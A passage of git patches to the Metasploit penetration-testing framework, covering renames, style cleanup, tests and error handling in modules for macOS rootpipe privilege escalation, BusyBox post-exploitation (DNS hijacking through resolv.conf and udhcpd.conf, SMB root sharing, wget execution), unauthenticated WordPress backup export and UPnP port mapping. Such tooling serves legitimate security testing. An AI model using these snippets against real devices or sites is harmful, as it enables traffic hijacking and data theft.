Explain why vulnerable --- modules/exploits/osx/local/rootpipe_entitlements.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/osx/local/rootpipe_entitlements.rb b/modules/exploits/osx/local/rootpipe_entitlements.rb index 7260437bb9..80ca7d5ecb 100644 --- a/modules/exploits/osx/local/rootpipe_entitlements.rb +++ b/modules/exploits/osx/local/rootpipe_entitlements.rb @@ -51,7 +51,12 @@ class Metasploit4 < Msf::Exploit::Local end def check - (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe + if ver? && admin? + vprint_status("Version is between 10.9 and 10.10.3, and is admin.") + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Safe + end end def exploit From 9c7f97d12420c573dd2557b15af83685b65b60f5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 13:26:52 -0500 Subject: [PATCH 0417/2172] Fix methods name schema --- lib/msf/core/post/linux/busy_box.rb | 10 +++++----- modules/post/linux/busybox/set_dns.rb | 8 ++++---- modules/post/linux/busybox/smb_share_root.rb | 2 +- modules/post/linux/busybox/wget_exec.rb | 2 +- 4 files changed, 11 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index 3348f21692..e5aadfa8bf 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -28,7 +28,7 @@ module BusyBox # # @param dir_path [String] the target directory path # @return [Boolean] true if target directory is writable, false otherwise - def is_writable_directory?(dir_path) + def busy_box_is_writable_dir?(dir_path) res = false rand_str = Rex::Text.rand_text_alpha(16) file_path = "#{dir_path}"/"#{rand_str}" @@ -49,11 +49,11 @@ module BusyBox # Checks some directories that usually are writable in devices running busybox # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil - def get_writable_directory + def busy_box_writable_dir dirs = ['/etc/', '/mnt/', '/var/', '/var/tmp/'] dirs.each do |d| - return d if is_writable_directory?(d) + return d if busy_box_is_writable_dir?(d) end nil @@ -66,10 +66,10 @@ module BusyBox # @param data [String] the content to be written # @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite # the target file - # @return [Boolean] True if target file is writable and it was written. Otherwise, false. + # @return [Boolean] true if target file is writable and it was written. Otherwise, false. # @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because # of it is necessary to implement an specific method. - def busybox_write_file(file_path, data, prepend = false) + def busy_box_write_file(file_path, data, prepend = false) if prepend cmd_exec("cp -f #{file_path} #{dir}tmp") Rex::sleep(0.3) diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb index a2612bedb5..7732059d03 100644 --- a/modules/post/linux/busybox/set_dns.rb +++ b/modules/post/linux/busybox/set_dns.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Post def modify_resolv_conf print_status('File /etc/resolv.conf found') - if busybox_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false) + if busy_box_write_file('/etc/resolv.conf', "nameserver #{datastore['SRVHOST']}", false) print_good('DNS server added to resolv.conf') end end @@ -51,17 +51,17 @@ class Metasploit3 < Msf::Post def modify_udhcpd_conf print_status('File /etc/udhcpd.conf found') - if busybox_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true) + if busy_box_write_file('/etc/udhcpd.conf', "option dns #{datastore['SRVHOST']}", true) restart_dhcpd('/etc/udhcpd.conf') else print_status('Unable to write udhcpd.conf, searching a writable directory...') - writable_directory = get_writable_directory + writable_directory = busy_box_writable_dir if writable_directory print_status("Copying the original udhcpd.conf to #{writable_directory}tmp.conf") cmd_exec("cp -f /etc/udhcpd.conf #{writable_directory}tmp.conf") Rex::sleep(0.3) print_status("Adding DNS to #{writable_directory}tmp.conf") - busybox_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) + busy_box_write_file("#{writable_directory}tmp.conf", "option dns #{datastore['SRVHOST']}", true) restart_dhcpd("#{writable_directory}tmp.conf") else print_error('Writable directory not found') diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb index 7ed857ace7..20bc5d901a 100644 --- a/modules/post/linux/busybox/smb_share_root.rb +++ b/modules/post/linux/busybox/smb_share_root.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Post print_status('Checking smb.conf...') if busy_box_file_exist?('/var/samba/smb.conf') print_status('smb.conf found, searching writable directory...') - writable_directory = get_writable_directory + writable_directory = busy_box_writable_dir if writable_directory print_status('writable directory found, copying smb.conf and restarting smbd') copy_smb_conf(writable_directory) diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb index f99b455a92..be39301bb0 100644 --- a/modules/post/linux/busybox/wget_exec.rb +++ b/modules/post/linux/busybox/wget_exec.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Post def run print_status('Searching a writable direcotry...') - writable_directory = get_writable_directory + writable_directory = busy_box_writable_dir if writable_directory print_status('Writable directory found, downloading file...') random_file_path = "#{writable_directory}#{Rex::Text.rand_text_alpha(16)}" From 54243d411e5c89a79e900bd78591736618bf5e8a Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 13:28:34 -0500 Subject: [PATCH 0418/2172] Change spec file name --- .../lib/msf/core/post/linux/{busybox_spec.rb => busy_box_spec.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename spec/lib/msf/core/post/linux/{busybox_spec.rb => busy_box_spec.rb} (100%) diff --git a/spec/lib/msf/core/post/linux/busybox_spec.rb b/spec/lib/msf/core/post/linux/busy_box_spec.rb similarity index 100% rename from spec/lib/msf/core/post/linux/busybox_spec.rb rename to spec/lib/msf/core/post/linux/busy_box_spec.rb From 9e7f6d65009e77a1ec5fd31614133896bd8886b3 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 28 Aug 2015 13:42:37 -0500 Subject: [PATCH 0419/2172] Typos --- .../auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb index 42b243f59a..ffa1494ac1 100644 --- a/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb +++ b/modules/auxiliary/scanner/http/wp_mobile_pack_info_disclosure.rb @@ -15,9 +15,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'WordPress Mobile Pack Information Disclosure Vulnerability', 'Description' => %q{ - This module exploits a information disclosure vulnerability in WordPress Plugin + This module exploits an information disclosure vulnerability in WordPress Plugin "WP Mobile Pack" version 2.1.2, allowing to read files with privileges - informations. + information. }, 'References' => [ From 06712817cfee65c0d5c08ba0da40ec4b3005e831 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 14:06:04 -0500 Subject: [PATCH 0420/2172] Fix specs --- lib/msf/core/post/linux/busy_box.rb | 8 +- spec/lib/msf/core/post/linux/busy_box_spec.rb | 162 +++++++++++++++--- 2 files changed, 138 insertions(+), 32 deletions(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index e5aadfa8bf..4571fc9bdc 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -17,11 +17,11 @@ module BusyBox # @note Msf::Post::File#file? doesnt work because test -f is not available in busybox def busy_box_file_exist?(file_path) contents = read_file(file_path) - if contents and contents.length > 0 - return true + if contents.nil? || contents.empty? + return false end - false + true end # Checks if the directory is writable in the target @@ -31,7 +31,7 @@ module BusyBox def busy_box_is_writable_dir?(dir_path) res = false rand_str = Rex::Text.rand_text_alpha(16) - file_path = "#{dir_path}"/"#{rand_str}" + file_path = "#{dir_path}/#{rand_str}" cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}") Rex::sleep(0.3) diff --git a/spec/lib/msf/core/post/linux/busy_box_spec.rb b/spec/lib/msf/core/post/linux/busy_box_spec.rb index c26251924e..f766eacc52 100644 --- a/spec/lib/msf/core/post/linux/busy_box_spec.rb +++ b/spec/lib/msf/core/post/linux/busy_box_spec.rb @@ -1,42 +1,148 @@ # -*- coding: binary -*- require 'spec_helper' -require 'msf/core/post/linux/busybox' +require 'msf/core/post/linux/busy_box' -describe Msf::Post::Linux::Busybox do +describe Msf::Post::Linux::BusyBox do subject do - mod = Module.new + mod = ::Msf::Module.new mod.extend described_class mod end - describe '#file_exists' do - it "should test for file existence" do - result = subject.file_exists("/etc/passwd") - result.should be true - end - end - - describe '#get_writable_directory' do - it "should find a writable directory" do - result = subject.get_writable_directory() - result.should be true - end - end - - describe '#is_writable_and_write' do - it "should write and append data to a file in a writable directory" do - result = false - writable_directory = get_writable_directory() - if nil != writable_directory - writable_file = writable_directory + "tmp" - if is_writable_and_write(writable_file, "test write ", false) and "test write " == read_file(writable_file) and - is_writable_and_write(writable_file, "test append", true) and "test write test append" == read_file(writable_file) - result = true + describe "#busy_box_file_exist?" do + describe "when file exists" do + before :each do + allow(subject).to receive(:read_file) do + 'test data' end - cmd_exec("rm -f #{writable_file}") end - result.should be true + + it "returns true" do + expect(subject.busy_box_file_exist?('/etc/passwd')).to be_truthy + end + end + + describe "when file doesn't exist" do + before :each do + allow(subject).to receive(:read_file) do + '' + end + end + + it "returns false" do + expect(subject.busy_box_file_exist?('/etc/nonexistent')).to be_falsey + end + end + end + + describe "#busy_box_is_writable_dir?" do + before :each do + allow(subject).to receive(:cmd_exec) do + '' + end + end + + describe "when dir is writable" do + before :each do + allow(subject).to receive(:read_file) do + "#{'A' * 16}XXX#{'A' * 16}" + end + + allow(Rex::Text).to receive(:rand_text_alpha) do + 'A' * 16 + end + end + + it "returns true" do + expect(subject.busy_box_is_writable_dir?('/tmp/')).to be_truthy + end + end + + describe "when dir isn't writable" do + before :each do + allow(subject).to receive(:read_file) do + '' + end + end + + it "returns false" do + expect(subject.busy_box_is_writable_dir?('/etc/')).to be_falsey + end + end + end + + + describe "#busy_box_writable_dir" do + before :each do + allow(subject).to receive(:cmd_exec) do + '' + end + end + + describe "when a writable directory doesn't exist" do + before :each do + allow(subject).to receive(:read_file) do + '' + end + end + + it "returns nil" do + expect(subject.busy_box_writable_dir).to be_nil + end + end + + describe "when a writable directory exists" do + before :each do + allow(subject).to receive(:read_file) do + "#{'A' * 16}XXX#{'A' * 16}" + end + + allow(Rex::Text).to receive(:rand_text_alpha) do + 'A' * 16 + end + end + + it "returns the writable dir path" do + expect(subject.busy_box_writable_dir).to eq('/etc/') + end + end + end + + + describe "#busy_box_write_file" do + before :each do + allow(subject).to receive(:cmd_exec) do + '' + end + end + + describe "when the file isn't writable" do + before :each do + allow(subject).to receive(:read_file) do + '' + end + end + + it "returns false" do + expect(subject.busy_box_write_file('/etc/passwd', 'test')).to be_falsey + end + end + + describe "when the file is writable" do + before :each do + allow(subject).to receive(:read_file) do + "#{'A' * 16}XXX#{'A' * 16}" + end + + allow(Rex::Text).to receive(:rand_text_alpha) do + 'A' * 16 + end + end + + it "returns true" do + expect(subject.busy_box_write_file('/tmp/test', 'test')).to be_truthy + end end end From d2e758ac8be5ce3078250a550f14571093e06c15 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 28 Aug 2015 14:08:29 -0500 Subject: [PATCH 0421/2172] Better failure handling --- .../gather/wp_all_in_one_migration_export.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index 811654726b..6e3363f40c 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -37,10 +37,6 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end - def exporter_url - normalize_uri(plugin_url, 'modules', 'export', 'templates', 'export.php') - end - def check check_plugin_version_from_readme('all-in-one-wp-migration', '2.0.5') end @@ -63,7 +59,13 @@ class Metasploit3 < Msf::Auxiliary fail_with(Failure::UnexpectedReply, "#{peer} - Server responded with status code #{res.code}") end - store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup') - print_good("#{peer} - Backup archive saved to #{store_path}") + if res.body.blank? + print_status("Unable to download anything.") + print_status("Either the target isn't actually vulnerable, or") + print_status("it does not allow WRITE permission to the all-in-one-wp-migration/storage directory.") + else + store_path = store_loot('wordpress.export', 'zip', datastore['RHOST'], res.body, 'wordpress_backup.zip', 'WordPress Database and Content Backup') + print_good("#{peer} - Backup archive saved to #{store_path}") + end end end From 837b6a4f71739b893da7bdf182446a80cd9d3c7b Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 28 Aug 2015 14:11:51 -0500 Subject: [PATCH 0422/2172] Update description --- .../auxiliary/gather/wp_all_in_one_migration_export.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb index 6e3363f40c..a23259ee56 100644 --- a/modules/auxiliary/gather/wp_all_in_one_migration_export.rb +++ b/modules/auxiliary/gather/wp_all_in_one_migration_export.rb @@ -13,10 +13,10 @@ class Metasploit3 < Msf::Auxiliary super(update_info( info, 'Name' => 'WordPress All-in-One Migration Export', - 'Description' => %q(Due to lack of authenticated session verification - it is possible for unauthenticated users to export - a complete copy of the database, all plugins, themes - and uploaded files.), + 'Description' => %q{ + This module allows you to export Wordpress data (such as the database, plugins, themes, + uploaded files, etc) via the All-in-One Migration plugin without authentication. + }, 'License' => MSF_LICENSE, 'Author' => [ From 8d0e0b973ecc575dc5d6d8a3a3dfe1759a617671 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan_vazquez@rapid7.com> Date: Fri, 28 Aug 2015 14:12:23 -0500 Subject: [PATCH 0423/2172] Fix array syntax --- lib/msf/core/post/linux/busy_box.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/post/linux/busy_box.rb b/lib/msf/core/post/linux/busy_box.rb index 4571fc9bdc..b8cd5da465 100644 --- a/lib/msf/core/post/linux/busy_box.rb +++ b/lib/msf/core/post/linux/busy_box.rb @@ -50,7 +50,7 @@ module BusyBox # Checks some directories that usually are writable in devices running busybox # @return [String] If the function finds a writable directory, it returns the path. Else it returns nil def busy_box_writable_dir - dirs = ['/etc/', '/mnt/', '/var/', '/var/tmp/'] + dirs = %w(/etc/ /mnt/ /var/ /var/tmp/) dirs.each do |d| return d if busy_box_is_writable_dir?(d) From 779ece309684843ff42ec16b1de85c802b0638c6 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 12:19:42 -0700 Subject: [PATCH 0424/2172] Correct workspace unit tests --- .../ui/console/command_dispatcher/db_spec.rb | 17 +++++++++++++---- 1 file changed, 13 insertions(+), 4 deletions(-) diff --git a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb index 7d1d31e908..dc1f75f6b6 100644 --- a/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb +++ b/spec/lib/msf/ui/console/command_dispatcher/db_spec.rb @@ -535,6 +535,10 @@ describe Msf::Ui::Console::CommandDispatcher::Db do end describe "#cmd_workspace" do + before(:each) do + db.cmd_workspace "-D" + @output = [] + end describe "<no arguments>" do it "should list default workspace" do db.cmd_workspace @@ -545,10 +549,11 @@ describe Msf::Ui::Console::CommandDispatcher::Db do it "should list all workspaces" do db.cmd_workspace("-a", "foo") + @output = [] db.cmd_workspace @output.should =~ [ - "default", - " * foo" + " default", + "* foo" ] end end @@ -567,9 +572,11 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-d" do it "should delete a workspace" do db.cmd_workspace("-a", "foo") + @output = [] db.cmd_workspace("-d", "foo") @output.should =~ [ - "Deleted workspace: foo" + "Deleted workspace: foo", + "Switched workspace: default" ] end end @@ -577,10 +584,12 @@ describe Msf::Ui::Console::CommandDispatcher::Db do describe "-D" do it "should delete all workspaces" do db.cmd_workspace("-a", "foo") + @output = [] db.cmd_workspace("-D") @output.should =~ [ "Deleted and recreated the default workspace", - "Deleted workspace: foo" + "Deleted workspace: foo", + "Switched workspace: default" ] end end From cba3650488b25887cc21e6696f02ff433f99de26 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 14:04:52 -0700 Subject: [PATCH 0425/2172] report_service for mdns/llmnr query --- modules/auxiliary/scanner/llmnr/query.rb | 1 + modules/auxiliary/scanner/mdns/query.rb | 3 ++- 2 files changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/llmnr/query.rb b/modules/auxiliary/scanner/llmnr/query.rb index 1bdb5a1616..82fd58658c 100644 --- a/modules/auxiliary/scanner/llmnr/query.rb +++ b/modules/auxiliary/scanner/llmnr/query.rb @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Auxiliary @results.each_pair do |peer, resps| resps.each do |resp| print_good("#{peer} responded with #{Resolv::DNS::Message.decode(resp).inspect}") + report_service(host: peer, port: rport, proto: "udp", name: "llmnr") end end end diff --git a/modules/auxiliary/scanner/mdns/query.rb b/modules/auxiliary/scanner/mdns/query.rb index bae478d46a..a541320ebb 100644 --- a/modules/auxiliary/scanner/mdns/query.rb +++ b/modules/auxiliary/scanner/mdns/query.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary end def scanner_prescan(batch) - print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " + + print_status("Sending mDNS #{query_type_name} #{query_class_name} queries for " \ "#{query_name} to #{batch[0]}->#{batch[-1]} port #{rport} (#{batch.length} hosts)") @results = {} end @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Auxiliary resps.each do |resp| resp_message = Resolv::DNS::Message.decode(resp) print_good("#{peer} responded with #{resp_message.inspect}") + report_service(host: peer, port: rport, proto: "udp", name: "mdns") end end end From 45c2422981148b2bbc81bef0319274247353714f Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 14:19:28 -0700 Subject: [PATCH 0426/2172] First pass at style cleanup --- modules/auxiliary/upnp/soap_addportmapping.rb | 99 ++++++++++--------- 1 file changed, 50 insertions(+), 49 deletions(-) diff --git a/modules/auxiliary/upnp/soap_addportmapping.rb b/modules/auxiliary/upnp/soap_addportmapping.rb index 958a5b9d16..807a19ac85 100644 --- a/modules/auxiliary/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/upnp/soap_addportmapping.rb @@ -6,64 +6,65 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Tcp - def initialize - super( - 'Name' => 'UPnP AddPortMapping', - 'Version' => '$Revision: 1 $', - 'Description' => 'UPnP AddPortMapping SOAP request', - 'Author' => 'St0rn <fabien@anbu-pentest.com>', - 'License' => MSF_LICENSE - ) - register_options( + def initialize + super( + 'Name' => 'UPnP AddPortMapping', + 'Description' => 'UPnP AddPortMapping SOAP request', + 'Author' => 'St0rn <fabien@anbu-pentest.com>', + 'License' => MSF_LICENSE + ) + register_options( [ OptString.new('CTRL_URL', [ true, 'UPnP Control URL']), OptString.new('INTERNAL_CLIENT', [ true, 'New Internal Client']), OptInt.new('INTERNAL_PORT', [ true, 'New Internal Port']), OptInt.new('EXTERNAL_PORT', [ true, 'New External Port']) - ], self.class) - end + ], + self.class + ) + end - def run() - ctrlurl = datastore['CTRL_URL'] - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" + def run + ctrlurl = datastore['CTRL_URL'] + soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - content = "<?xml version=\"1.0\"?>" - content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" - content << "<SOAP-ENV:Body>" - content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" - content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>" - content << "<NewLeaseDuration>3600</NewLeaseDuration>" - content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" - content << "<NewEnabled>1</NewEnabled>" - content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" - content << "<NewRemoteHost></NewRemoteHost>" - content << "<NewProtocol>TCP</NewProtocol>" - content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" - content << "</m:AddPortMapping>" - content << "</SOAP-ENV:Body>" - content << "</SOAP-ENV:Envelope>" + content = "<?xml version=\"1.0\"?>" + content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + content << "<SOAP-ENV:Body>" + content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">" + content << "<NewPortMappingDescription>New Port Mapping</NewPortMappingDescription>" + content << "<NewLeaseDuration>3600</NewLeaseDuration>" + content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>" + content << "<NewEnabled>1</NewEnabled>" + content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>" + content << "<NewRemoteHost></NewRemoteHost>" + content << "<NewProtocol>TCP</NewProtocol>" + content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>" + content << "</m:AddPortMapping>" + content << "</SOAP-ENV:Body>" + content << "</SOAP-ENV:Envelope>" - contentlen = content.length + contentlen = content.length - header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n" - header << "Content-Type: text/xml;charset=\"utf-8\"\r\n" - header << "SOAPAction: #{soapaction}\n\r" - header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n" - header << "Host: #{rhost}:#{rport}\r\n" - header << "Content-Length: #{contentlen}\r\n" - header << "\r\n" - header << content + header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n" + header << "Content-Type: text/xml;charset=\"utf-8\"\r\n" + header << "SOAPAction: #{soapaction}\n\r" + header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n" + header << "Host: #{rhost}:#{rport}\r\n" + header << "Content-Length: #{contentlen}\r\n" + header << "\r\n" + header << content - print_status("Sending SOAP Request") - connect() - sock.puts(header) - resp=sock.recv(1024) - if resp.include? "200 OK" - print_good("PAT added successfully") - else - print_error("Fail") - end - end + print_status("Sending SOAP Request") + connect + sock.puts(header) + resp = sock.recv(1024) + if resp.include? "200 OK" + print_good("PAT added successfully") + else + print_error("Fail") + end + end end From a0aaf93f27c78d543cc44621afa47a359ae9f316 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 14:20:33 -0700 Subject: [PATCH 0427/2172] Relocate module to more correct location --- modules/auxiliary/{ => admin}/upnp/soap_addportmapping.rb | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/{ => admin}/upnp/soap_addportmapping.rb (100%) diff --git a/modules/auxiliary/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb similarity index 100% rename from modules/auxiliary/upnp/soap_addportmapping.rb rename to modules/auxiliary/admin/upnp/soap_addportmapping.rb From ba95a7d2acc9d57b540c388a8d74ede07e90cfe9 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 14:47:13 -0700 Subject: [PATCH 0428/2172] Convert to using HttpClient --- .../admin/upnp/soap_addportmapping.rb | 49 +++++++++---------- 1 file changed, 23 insertions(+), 26 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 807a19ac85..89b9dc8703 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient def initialize super( @@ -17,18 +17,15 @@ class Metasploit3 < Msf::Auxiliary ) register_options( [ - OptString.new('CTRL_URL', [ true, 'UPnP Control URL']), - OptString.new('INTERNAL_CLIENT', [ true, 'New Internal Client']), - OptInt.new('INTERNAL_PORT', [ true, 'New Internal Port']), - OptInt.new('EXTERNAL_PORT', [ true, 'New External Port']) + OptString.new('TARGETURI',[true, 'UPnP control URL', '/' ]), + OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']), + OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']), + OptInt.new('EXTERNAL_PORT', [true, 'New External Port']) ], self.class ) end - def run - ctrlurl = datastore['CTRL_URL'] - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" content = "<?xml version=\"1.0\"?>" content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" @@ -45,26 +42,26 @@ class Metasploit3 < Msf::Auxiliary content << "</m:AddPortMapping>" content << "</SOAP-ENV:Body>" content << "</SOAP-ENV:Envelope>" + res = send_request_cgi( + { + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'content-type' => 'text/xml;charset="utf-8"', + 'headers' => { + 'SoapAction' => 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' + }, + 'data' => content + } + ) - contentlen = content.length - - header = "POST http://#{rhost}:#{rport}/#{ctrlurl} HTTP/1.0\r\n" - header << "Content-Type: text/xml;charset=\"utf-8\"\r\n" - header << "SOAPAction: #{soapaction}\n\r" - header << "User-Agent: SOAP AddPortMapping Metasploit Module\r\n" - header << "Host: #{rhost}:#{rport}\r\n" - header << "Content-Length: #{contentlen}\r\n" - header << "\r\n" - header << content - - print_status("Sending SOAP Request") - connect - sock.puts(header) - resp = sock.recv(1024) - if resp.include? "200 OK" - print_good("PAT added successfully") + if res + if res.code == 200 + print_good("#{peer} successfully mapped") + else + print_error("#{peer} failed to map #{res}") + end else - print_error("Fail") + print_error("#{peer} no response") end end end From 45fde928fc08276392253e537a0dcd7c373248b3 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 14:49:57 -0700 Subject: [PATCH 0429/2172] More minor style cleanup --- .../admin/upnp/soap_addportmapping.rb | 18 ++++++++---------- 1 file changed, 8 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 89b9dc8703..88747386b5 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ b/modules/auxiliary/admin/upnp/soap_addportmapping.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Auxiliary ) register_options( [ - OptString.new('TARGETURI',[true, 'UPnP control URL', '/' ]), + OptString.new('TARGETURI', [true, 'UPnP control URL', '/' ]), OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']), OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']), OptInt.new('EXTERNAL_PORT', [true, 'New External Port']) @@ -25,8 +25,8 @@ class Metasploit3 < Msf::Auxiliary self.class ) end - def run + def run content = "<?xml version=\"1.0\"?>" content << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" content << "<SOAP-ENV:Body>" @@ -43,14 +43,12 @@ class Metasploit3 < Msf::Auxiliary content << "</SOAP-ENV:Body>" content << "</SOAP-ENV:Envelope>" res = send_request_cgi( - { - 'uri' => normalize_uri(target_uri.path), - 'method' => 'POST', - 'content-type' => 'text/xml;charset="utf-8"', - 'headers' => { - 'SoapAction' => 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' - }, - 'data' => content + 'uri' => normalize_uri(target_uri.path), + 'method' => 'POST', + 'content-type' => 'text/xml;charset="utf-8"', + 'data' => content, + 'headers' => { + 'SoapAction' => 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' } ) From 840be716831896ae34df8d17d06a32711e73c52d Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Fri, 28 Aug 2015 14:53:41 -0700 Subject: [PATCH 0430/2172] Add support for specifying protocol UDP is fun too. Are there others? --- modules/auxiliary/admin/upnp/soap_addportmapping.rb | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/upnp/soap_addportmapping.rb b/modules/auxiliary/admin/upnp/soap_addportmapping.rb index 88747386b5..2270ae77b0 100644 --- a/modules/auxiliary/admin/upnp/soap_addportmapping.rb +++ 